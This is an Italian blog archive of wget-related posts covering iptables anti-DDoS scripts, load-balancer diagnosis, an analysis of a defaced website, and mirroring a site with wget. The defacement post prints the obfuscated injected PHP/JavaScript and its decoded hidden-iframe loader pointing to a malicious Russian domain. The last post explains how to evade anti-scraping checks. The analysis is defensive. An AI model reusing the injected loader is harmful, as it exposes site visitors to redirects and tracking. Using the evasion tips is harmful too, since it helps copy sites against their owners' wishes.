Archivi tag: wget

CentOS 6 e contromisure agli attacchi DDoS: regole di firewalling basate sui netblock dei provider italiani

Scenario

Server Web Linux (basato su Apache) con CentOS 6 a bordo, dotato di 16 GB di RAM e 2 CPU con 4 core ciascuna. Totale assenza di firewall di frontend, ergo il filtraggio del traffico viene demandato direttamente al server in questione.

Problema

Da N giorni la suddetta macchina è vittima di attacchi di tipo DDoS, provenienti per lo più da IP stranieri (macchine zombie facenti parte di una botnet).

Soluzione

Creare delle regole netfilter ad hoc (mediante iptables), consentendo solo ed esclusivamente i netblock degli ISP italiani. Inoltre, per evitare che l’attaccante possa avvalersi di qualche proxy “aperto” made in Italy, sono stati bloccati ulteriori IP pubblici recuperati da un sito specifico. Infine, sono stati consentiti gli IP pubblici degli spider (aka crawler) utilizzati dai più importanti motori di ricerca (Google, Bing, Yahoo!), in modo tale da impedire che il sito Web hostato sul server venga penalizzato in termini di ranking.

Step 1: consentire gli IP italiani

Lo scrip bash (permit_ita.sh) che esegue tale operazione è il seguente:

#!/bin/bash

iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP

wget http://www.ipdeny.com/ipblocks/data/countries/it.zone -O ip_italiani.txt

while read line
do
    iptables -I INPUT -s $line -p tcp --dport 80 -j ACCEPT
    iptables -I INPUT -s $line -p tcp --dport 443 -j ACCEPT
done < ip_italiani.txt

iptables-save

Il suo funzionamento è banale: per prima cosa vengono create 2 regole netfilter per droppare tutto il traffico HTTP/HTTPS diretto al sito Web. Successivamente viene scaricato (mediante wget) il contenuto del sito http://www.ip-deny.com/ipblocks/data/countries/it.zone, in cui è presente l’elenco dei netblock italiani. Infine, vegnono consentiti i netblock in questione.

Step 2: bloccare i proxy made in Italy

A questo punto possiamo procedere con il blocco dei proxy “open” italiani. Per fare ciò possiamo utilizzare il seguente scrip bash (block_proxy.sh):

#!/bin/bash

wget --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3"  http://spys.ru/free-proxy-list/IT/ -O lista_proxy.txt

grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" lista_proxy.txt | uniq > ip_proxy.txt

while read line
do
    iptables -I INPUT -s $line -p tcp --dport 80 -j DROP
    iptables -I INPUT -s $line -p tcp --dport 443 -j DROP
done < ip_proxy.txt

iptables-save

Il sito target (ovvero quello che contiene la lista dei proxy da bloccare) è http://spys.ru/free-proxy-list/IT/, il quale effettua un filtraggio dei client che possono accedervi utilizzando lo User Agent come discriminante (quindi non è possibile scaricarne il contenuto se non si effettua uno spoofing di tale parametro tramite wget e l’opzione –user-agent).

Inoltre, poichè il contenuto del sito non è una “lista piatta” di IP pubblici, è stato necessario filtrare il tutto utilizzando un’espressione regolare in grado di individuare i 4 ottetti tipici dell’IPv4.

Step 3: consentire gli spider dei motori di ricerca

Come ultima fase, occorre consentire gli IP degli spider, utilizzando tale scrip (permit_spider.sh):

#!/bin/bash

while read line
do
    iptables -I INPUT -s $line -p tcp --dport 80 -j ACCEPT -m comment --comment "crawler"
done < ip_spider.txt

iptables-save

Il contenuto del file ip_spider.txt potete ricavarlo da qui (Google), qui (Yahoo!) e qui (Bing ed altri).

A configurazione completata, possiamo saggiare il carico sul server (intento a droppare il traffico proveniente dalla botnet) utilizzando htop.

Se la macchina regge e le risorse hardware locali non sono allo stremo potremo finalmente dire di aver vinto.

Alla prossima.

Connection timeout: load balancer o DNS Round Robin?

Qualche tempo fa un mio collaboratore mi ha segnalato uno strano problema sulla rete. Egli lamentava che un certo gruppo di utenti (chiamiamolo X per semplicità), non riusciva ad accedere ad un determinato sito Web (Connection Timeout), mentre un altro gruppo di utenti (Y), ci accedeva tranquillamente.

Ovviamente, entrambi i gruppi di utenti (X e Y) appartenevano alla stessa VLAN, ergo afferivano alla medesima policy di load balancing e quindi si presentavano all’esterno utilizzando lo stesso modem (ISP e IP pubblico).

Ora, lasciando perdere alcune impostazioni del firewall interno (ad esempio il conntrack), che avrebbero potuto inficiare le sessioni Web dirette al sito target, l’unica spiegazione plausibile riguardava un qualche tipo di problema sul sito consultato dagli utenti.

Prima possibile causa: il sito target si trova dietro un load balancer, il quale si occupa di smistare le richieste di connessione ai frontend in base a determinate policy predefinite.

 

load balancing,dns round robin,dig,wget,connection timeout

Un esempio di sito Web dietro load balancer è www.microsoft.com. Infatti, effettuando una richiesta appositamente forgiata mediante il tool hping3, è possibile identificare l’IP ID, grazie al quale si può capire se le risposte provegnono da una sola macchina o da più macchine dietro bilanciamento:

nightfly@nightbox:~$ sudo hping3 www.microsoft.com -S -p 80
 HPING www.microsoft.com (eth0 65.55.57.27): S set, 40 headers + 0 data bytes
 len=46 ip=65.55.57.27 ttl=245 DF id=19756 sport=80 flags=SA seq=0 win=8190 rtt=221.3 ms
 len=46 ip=65.55.57.27 ttl=245 DF id=3683 sport=80 flags=SA seq=1 win=8190 rtt=219.9 ms
 len=46 ip=65.55.57.27 ttl=245 DF id=65490 sport=80 flags=SA seq=2 win=8190 rtt=228.5 ms
 len=46 ip=65.55.57.27 ttl=245 DF id=46898 sport=80 flags=SA seq=3 win=8190 rtt=227.8 ms
 len=46 ip=65.55.57.27 ttl=245 DF id=63574 sport=80 flags=SA seq=4 win=8190 rtt=227.6 ms

 

Poichè il campo id varia di richiesta in richiesta e non è strettamente incrementale (dato che il suo scopo reale è quello di identificare i vari pacchetti IP frammentati, consentendo al destinatario di ricostruire le informazioni originarie nel giusto ordine), abbiamo dimostrato che effettivamente www.microsoft.com utilizza i load balancer (e non potrebbe essere altrimenti dato il grande numero di hits giornaliere che lo coinvolgono).

Per quanto riguarda il DNS Round Robin un metodo per identificare i domini che lo implementano consiste nell’uso di dig. Ad esempio, per google.com avremo:

nightfly@nightbox:~$ dig google.com NS

; <<>> DiG 9.8.1-P1 <<>> google.com NS
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13716
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com.                    IN      NS

;; ANSWER SECTION:
google.com.             172098  IN      NS      ns4.google.com.
google.com.             172098  IN      NS      ns3.google.com.
google.com.             172098  IN      NS      ns1.google.com.
google.com.             172098  IN      NS      ns2.google.com.

;; Query time: 138 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed Aug 14 13:58:47 2013
;; MSG SIZE  rcvd: 100

ovvero ho interrogato il dominio google.com alla ricerca dei nameserver autoritativi. Adesso eseguo una ricerca più approfondita interrogando uno dei suddetti nameserver:

nightfly@nightbox:~$ dig @ns1.google.com google.com

; <<>> DiG 9.8.1-P1 <<>> @ns1.google.com google.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18692
;; flags: qr aa rd; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;google.com.                    IN      A

;; ANSWER SECTION:
google.com.             300     IN      A       173.194.35.40
google.com.             300     IN      A       173.194.35.33
google.com.             300     IN      A       173.194.35.37
google.com.             300     IN      A       173.194.35.46
google.com.             300     IN      A       173.194.35.38
google.com.             300     IN      A       173.194.35.39
google.com.             300     IN      A       173.194.35.34
google.com.             300     IN      A       173.194.35.35
google.com.             300     IN      A       173.194.35.32
google.com.             300     IN      A       173.194.35.41
google.com.             300     IN      A       173.194.35.36

;; Query time: 103 msec
;; SERVER: 216.239.32.10#53(216.239.32.10)
;; WHEN: Wed Aug 14 14:00:05 2013
;; MSG SIZE  rcvd: 204

Dal numero piuttosto consistente di record A DNS si evince che google.com attua la politica di DNS Round Robin. Come ulteriore conferma proviamo a pingare il dominio in questione:

nightfly@nightbox:~$ ping google.com
 PING google.com (173.194.40.8) 56(84) bytes of data.
 64 bytes from mil02s06-in-f8.1e100.net (173.194.40.8): icmp_req=1 ttl=55 time=46.4 ms
 64 bytes from mil02s06-in-f8.1e100.net (173.194.40.8): icmp_req=2 ttl=55 time=62.5 ms

e successivamente eseguendo un altro ping in rapida successione otterremo:

nightfly@nightbox:~$ ping google.com
 PING google.com (173.194.40.7) 56(84) bytes of data.
 64 bytes from mil02s06-in-f7.1e100.net (173.194.40.7): icmp_req=1 ttl=55 time=51.0 ms
 64 bytes from mil02s06-in-f7.1e100.net (173.194.40.7): icmp_req=2 ttl=55 time=90.6 ms

Si evince, molto banalmente, che i pingando google.com hanno risposto due indirizzi IP pubblici differenti (
173.194.40.8 e 173.194.40.7).

Per diritto di cronaca, il problema che ha riguardato gli utenti della LAN era dovuto ad un’errata configurazione del load balancer del sito target, il quale, seguendo una politica di Round Robin, a volte girava le connessioni ad un frontend “troppo carico”, il quale le droppava brutalmente.

Alla prossima.

I soliti cracker russi…

E’ un lunedì sera. Sono a casa bello tranquillo quando ad un tratto mi arriva una telefonata inaspettata: il sito di un amico è stato defacciato. Ok, mi collego al sito e con mia enorme sorpresa mi accorgo della presenza del seguente codice PHP:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Si tratta molto banalmente di codice cifrato mediante due funzioni piuttosto blande, ovvero gzinflate e base64_decode.

Decifrandolo, ho ottenuto quanto segue:

<scrip type="text/javascrip"> try{1-prototype;}catch(bsdtwbd){q=412;} if(020==0x10){f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];}if(document)e=eval;w=f;s=[];r=String.fromCharCode;for(i=0;-i+279!=0;i+=1){j=i;if(e)s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));} if(q&&f&&012===10)e(s); </scrip>

che, a primo acchito, può sembrare una rogna, ma effettuando la giusta formattazione del codice, inserendo un document.write(s) nel giusto punto del sorgente e creando una pagina HTML ad hoc:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <scrip type="text/javascrip">
 try{1-prototype;}
 catch(bsdtwbd)
 {q=412;}
 if(020==0x10)
 {
 f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];
 }
 if(document)
 e=eval;
 w=f;
 s=[];
 r=String.fromCharCode;
 for(i=0;-i+279!=0;i+=1)
 {
 j=i;
 if(e)
 {
 s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));
 }
 }
 document.write(s);
 if(q&&f&&012===10)
 e(s);
 </scrip>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Untitled Document</title>
 </head>
 <body>
 </body>
 </html>

si ottiene:

function frmAdd() {
 var ifrm = document.createElement('iframe');
 ifrm.style.position='absolute';
 ifrm.style.top='-999em';
 ifrm.style.left='-999em';
 ifrm.src = "http://latokoz.ru/count2.php";
 ifrm.id = 'frmId';
 document.body.appendChild(ifrm); };
 onload = frmAdd;

Ebbene si, trattasi di un attacco XSS che inietta sul sito vittima del codice javascrip (opportunamente offuscato), la cui funzione è quella di creare un iframe che punta alla URL http://latokoz.ru/count2.php

Ecco alcune info sul dominio latokoz.ru (con annesso reverse lookup):

nightfly@nightbox:~$ whois latokoz.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        LATOKOZ.RU
nserver:       ns1.newrect.com.
nserver:       ns2.newrect.com.
nserver:       ns3.newrect.com.
nserver:       ns4.newrect.com.
nserver:       ns5.newrect.com.
nserver:       ns6.newrect.com.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGGI-REG-RIPN
admin-contact: http://www.webdrive.ru/webmail/
created:       2012.08.01
paid-till:     2013.08.01
free-date:     2013.09.01
source:        TCI

Last updated on 2012.08.06 22:56:31 MSK
nightfly@nightbox:~$ host latokoz.ru
 latokoz.ru has address 78.8.44.226

Vado di wget e provo a scaricare la suddetta pagina:

nightfly@nightbox:~$ wget http://latokoz.ru/count2.php

Il cui contenuto è, molto banalmente:

<!DOCTYPE HTML>
 <html>
 <head>
 <scrip type="text/javascrip">
 parent. = "http://edrefak.ru/";
 </scrip>
 </head>
 <body>
 </body>
 </html>

Come sempre, whois e reverse lookup sul dominio in questione:

nightfly@nightbox:~$ host edrefak.ru
edrefak.ru has address 46.161.45.107
nightfly@nightbox:~$ whois edrefak.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        EDREFAK.RU
nserver:       ns1.izdomik.ru.
nserver:       ns2.izdomik.ru.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     NAUNET-REG-RIPN
admin-contact: https://client.naunet.ru/c/whoiscontact
created:       2012.07.29
paid-till:     2013.07.29
free-date:     2013.08.29
source:        TCI

Last updated on 2012.08.06 23:06:37 MSK

Trattasi di un sito che commercializza un prodotto simil-Viagra (si, avete capito bene), in cui è presente il seguente codice js (dopo il footer):

<!-- HotLog -->
 <scrip type="text/javascrip" language="javascrip">
 hotlog_js="1.0"; hotlog_r=""+Math.random()+"&amp;s=2241559&amp;im=35&amp;r="+
 escape(document.referrer)+"&amp;pg="+escape(.href);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.1">
 hotlog_js="1.1"; hotlog_r+="&amp;j="+(navigator.javaEnabled()?"Y":"N");
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.2">
 hotlog_js="1.2"; hotlog_r+="&amp;wh="+screen.width+"x"+screen.height+"&amp;px="+
 (((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.3">
 hotlog_js="1.3";
 </scrip>
 <scrip type="tex/javascrip" language="javascrip">
 hotlog_r+="&amp;js="+hotlog_js;
 document.write('<a href="http://click.hotlog.ru/?2241559" target="_blank"><img '+
 'src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?'+
 hotlog_r+'" border="0" width="88" height="31" alt="HotLog"></a>');
 </scrip>
 <noscrip>
 <a href="http://click.hotlog.ru/?2241559" target="_blank"><img
 src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?s=2241559&amp;im=35" border="0"
 width="88" height="31" alt="HotLog"></a>
 </noscrip>
 <!-- /HotLog -->

Ma cos’è HotLog.ru? E’ semplicemente un sito che rilascia dei tracker cookies, in modo da poter “tracciare” le abitudini dei visitatori. In questo modo i cracker avranno una fonte di informazioni molto preziosa su cui modellare eventuali email di spamming o di phishing.

Se effettuate una ricerca su Google utilizzando la stringa:

try{1-prototype;}

vi accorgerete che di siti infetti ce n’è una marea.
Affinchè eventuali visitatori “vittima” di questo tipo di attacco possano dormire sonni tranquilli, consiglio loro di brasare i cookies e la cache del browser.

Per maggiori info sulla rimozione dei tracker cookies vi rimando a questo sito:

http://www.exterminate-it.com/malpedia/remove-hotlog-ru

Infine, tiriamo le somme:

1) non avendo accesso diretto ai log FTP ed HTTP del server di hosting, non posso individuare l’IP sorgente dell’attacco, anche se sono quasi certo che i cracker non si siano esposti direttamente, ma abbiano usato un altro sito infetto come testa di ponte;

2) data la legislazione russa (e dei Paesi dell’ex Unione Sovietica in genere), i proprietari dei domini su cui vengono effettuati i rimbalzi hanno le spalle coperte (non è un caso che i whois non mostrino alcuna informazione utile);

3) recentemente si sono moltiplicati gli attacchi diretti ai server Web/FTP mediante l’uso di credenziali di accesso lecite. Probabilmente anche l’attacco in questione è stato perpretrato utilizzando le suddette modalità. A tal proposito, vi consiglio di cambiare le credenziali FTP di tutti gli utenti, oltre a modificare username e password dei vostri account di posta (ho il vago spospetto che sia proprio questo il mezzo attraverso il quale i cracker ottengono le giuste credenziali).

4) per gli sviluppatori: ogni tanto date un’occhiata al codice sorgente del vostro sito, magari attraverso degli scrip bash (e simili), in modo da avere tempi di reazione ridotti e correre ai ripari il prima possibile in caso di attacco. Inoltre, se utilizzate CMS (Joomla, WordPress, Drupal, ecc.), assicuratevi di aver installato l’ultima versione (con annesse security patch) ed utilizzate degli add-on che possono aumentare il livello di sicurezza offerto.

Fine del post, alla prossima.

 

Backup di un sito Web mediante wget

Qualche giorno fa mi è capitato di dover effettuare il backup di un sito Web senza conoscere le credenziali FTP. Fortunatamente si trattava di un sito sprovvisto di codice lato server, quindi per me è stato piuttosto semplice salvarne una copia in locale.

wget,web,dump,backup,client web,server web,ftp

Per fare tale operazione ho utilizzato il mitico wget, ed in particolare il comando:

nightfly@nightbox:~$ wget -r www.siteexample.it

Tutto il contenuto del sito è stato automaticamente salvato nella directory www.siteexample.it.

Devo ammettere però che ho avuto un po’ di fortuna. Infatti, non tutti i server Web consentono liberamente il dump dei loro siti (il termine phishing vi dice qualcosa?). Proprio per impedire tale pratica, molto spesso viene implementato un meccanismo di protezione basato sul riconoscimento del client Web: nel caso in cui il server si accorgesse che è wget a richiedere le pagine del sito, risponderà picche.

Tale controllo risulta comunque facilmente aggirabile. Infatti wget consente lo spoofing del client, che può essere impostato manualmente digitando:

nightfly@nightbox:~$ wget -r -U "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" www.siteexample.it

Invece, nel caso in cui i controlli si basassero anche sui tempi che intercorrono tra la visualizzazione di una pagina e quella successiva, oppure sulla velocità di download delle stesse, basterà utilizzare correttamente le flag –wait e –limit-rate:

nightfly@nightbox:~$ wget --wait=30 --limit-rate=10K -r -U "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" www.siteexample.it

Ed il backup del sito è pronto.

A presto.